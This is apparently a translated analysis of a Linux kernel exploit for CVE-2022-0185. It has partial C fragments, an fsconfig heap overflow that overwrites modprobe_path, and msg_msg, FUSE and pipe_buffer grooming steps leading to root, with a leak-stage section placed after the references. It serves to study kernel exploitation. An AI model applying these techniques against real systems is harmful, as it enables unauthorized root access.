void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }
int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
size_t len = 0x1000;
···
memcpy(buf, evil_buffer + offset, size);
// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写
return size;
}
1. `mmap` una pagina a 0x1337000
2. Imposta la lunghezza del messaggio a 0x1010-0x30=0xfe0, in modo che il messaggio venga diviso esattamente in due parti
3. `fsconfig` prepara il riempimento prima dell'overflow, richiedendo un `kmalloc-4k`
4. Usa il filesystem fuse già registrato per `mmap` una pagina a 0x1338000 (pagina 2)
5. Invia un messaggio di lunghezza 0xfe0, richiedendo un `kmalloc-4k` e un `kmalloc-32`. Il messaggio inizia alla fine della pagina 1. A questo punto, **la funzione `copy_from_user` all'interno di `msgsnd` copia il messaggio dallo spazio utente allo spazio kernel. Quando copia nella pagina 2, viene generato un page fault che invoca la funzione `evil_read` del filesystem fuse nello spazio utente**. Questa funzione è specificata da noi e scrive il contenuto desiderato nel kernel. Inoltre, questa funzione attende che il processo sottostante termini prima di restituire il controllo.
6. A questo punto, avvia un nuovo processo. Questo nuovo processo completa l'operazione di overflow, sovrascrivendo il puntatore `msg_msgseg *next` nell'header del messaggio successivo `msg_msg` in modo che punti a `modprobe_path`. Quindi invia un segnale di completamento alla funzione `evil_read`.
7. `evil_read` restituisce il controllo, completando la scrittura arbitraria. `modprobe_path` viene alterato in `"/tmp/w"`.

Diagramma:

Poiché `modprobe_path` è stato modificato, consideriamo l'escalation dei privilegi riuscita. Le successive operazioni di escalation nell'exploit vengono completate aggiungendo il permesso suid a `/bin/bash`. Tuttavia, ciò non è più importante.

### [Nuovo] Analisi dell'exploit (versione universale dirty pipe artificiale)
Fonte: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)
L'idea principale deriva dalla divulgazione di CVE-2022-0847 (dirty pipe), che ha rivelato un meccanismo di pipe e splice:
1. Una pipe è composta da 16 pagine di cache. Ogni volta che si scrive nella pipe, viene controllato a quale pagina si è arrivati. Se la pagina corrente non è stata ancora completamente scritta, si tenta di continuare a scrivere in essa. Tuttavia, non tutte le pagine possono essere riscritte, come nel caso seguente.
2. `splice` permette di trasferire file in una pipe sostituendo direttamente le pagine di cache del file con quelle della pipe. Le pagine di cache sostituite in questo modo non consentono la riscrittura nella pipe.
3. Dalla versione 5.8, viene utilizzato `pipe_buffer->flags` per determinare se una pagina può essere riscritta. Prima della versione 5.8, si utilizzava `pipe_buffer->ops` per verificare se era `anon_pipe_buf_ops`.
La causa della vulnerabilità dirty pipe è la mancata inizializzazione di `pipe_buffer->flags`, che permette di riscrivere le pagine di cache dei file trasferiti tramite splice. Sebbene sia stata corretta, se possiamo alterare i flag a nostro piacere, possiamo creare una "dirty pipe artificiale"? La risposta è sì. Si noti che dirty pipe è una vulnerabilità che non richiede alcuna fuga di indirizzi per essere sfruttata, e `pipe_buffer` è una struttura vittima comune nello sfruttamento delle vulnerabilità del kernel. Alterare i suoi flag o ops è estremamente facile. Di seguito viene descritto come realizzare un exploit universale tramite dirty pipe artificiale:
Per prima cosa, crea un certo numero di code di messaggi. Ogni coda contiene un `msg_msg` di dimensione 0x1400, in modo che il messaggio venga diviso in due parti: una di 0x1000 e una di 0x400. Quindi, usa l'overflow write per modificare il bit `m_ts` nell'header del messaggio principale a 0x1800:

In questo modo, puoi determinare quale coda ha il `msg_msg` overflowato trovando un **msgid in grado di leggere con successo una lunghezza di 0x1800**. Inoltre, devi identificare, tramite overflow read, che ciò che segue è la seconda parte (sec2) di un altro messaggio. Quindi rilascia tutte le altre code di messaggi tranne questa:

Successivamente, crea un certo numero di code di messaggi, ciascuna contenente 16 (o un certo numero) di `msg_msg` di 0x400. In condizioni ideali, un messaggio di una delle code occuperà lo slab freed 0x400 della linea tratteggiata nell'immagine precedente, formando il layout seguente. Il 5° messaggio della coda X ha ottenuto quello slab:

Quindi, tramite l'overflow read da msg1, ottieni il valore `prev` di msg5, cioè l'indirizzo di msg4. Utilizzando il contenuto che abbiamo disposto in `msg`, possiamo determinare il numero di coda X e il numero di sequenza del messaggio nella coda (5).
Successivamente, rilascia msg6 e tutti i messaggi successivi a msg6. Quindi, aggiungi un nuovo messaggio nella coda X. Il nuovo messaggio verrà comunque posizionato dopo msg5, cioè nuovo msg6 (newmsg6). In newmsg6, posiziona (in un indirizzo la cui parte finale non è 0x00) un falso header messaggio (fake head), che punta a msg4, come mostrato di seguito:

Quindi, esegui un'altra overflow read, registra l'indirizzo del fake head in newmsg6. Somma al valore di `msg5->next` letto tramite overflow read l'offset che abbiamo disposto:

Quindi, ripeti l'operazione: esegui nuovamente un overflow write, questa volta sovrascrivendo il puntatore `next` nell'header del messaggio in modo che punti al fakeHead in newmsg6, di cui abbiamo appena ottenuto l'indirizzo:

Rilascia direttamente msg4 tramite msgX. Quindi, crea uno `sk_buff` per occupare lo slab di msg4 rilasciato, e falsifica `next` e `prev` in modo che puntino a se stesso (indirizzo già noto in precedenza), per bypassare l'unlink di `msg` quando verrà rilasciato una seconda volta:

Quindi, rilascia di nuovo msg4 usando la coda newmsg1, quindi occupalo ancora una volta con `pipe_buffer`, facendo in modo che `sk_buff` e `pipe_buffer` occupino la stessa regione, formando la seguente situazione:

Le operazioni successive seguono direttamente la seconda metà della "[Equazione della vittoria](https://blog.csdn.net/Breeze_CAT/article/details/124887764)". Exploit: https://github.com/veritas501/CVE-2022-0185-PipeVersion

## Tecniche di debug
Simboli correlati:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv
ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path
breakpoint condizionale``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig
## Riferimenti
github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)
writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html
veritas501: [Analisi e sfruttamento di CVE-2022-0185 e riflessioni/pratiche sul nuovo primitivo pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
Riempire altri 21 caratteri, più ",=" per un totale di 23 caratteri, qui si verifica l'overflow. Poiché era stato riempito fino a 4095, l'overflow effettivo è di 22 caratteri, ovvero 0x16, ma in circostanze normali, l'overflow qui riguarda memoria non ancora utilizzata (allocata).

Continuare con msgsnd, allocare la struttura msg_msg (verrà suddivisa in due segmenti). Poiché la lunghezza del primo segmento msg è kmalloc-4k, è molto probabile che venga allocata subito dopo legacy_data, sovrascrivendo la parte appena overflow, ma non importa.

Continuare a chiamare fsconfig per l'overflow: questo è il motivo per cui l'overflow viene eseguito in due fasi. Lo scopo del precedente overflow di 22 caratteri era solo di spostare il puntatore davanti al campo m_ts (che rappresenta la dimensione del msg) nell'intestazione msg_msg. A questo punto, un altro overflow, poiché vengono aggiunti i due caratteri ",=" all'inizio, può sovrascrivere m_ts nell'intestazione msg_msg per modificarne la dimensione.

Sparare un mucchio di strutture seq_operations, poiché appartengono a kmalloc-32, molto probabilmente cadranno dopo il secondo segmento del messaggio.

A questo punto, ricevere i messaggi. Uno dei messaggi è stato alterato dall'overflow nella sua dimensione, quindi la lettura andrà oltre i limiti, leggendo le strutture seq_operations successive, completando così la leak.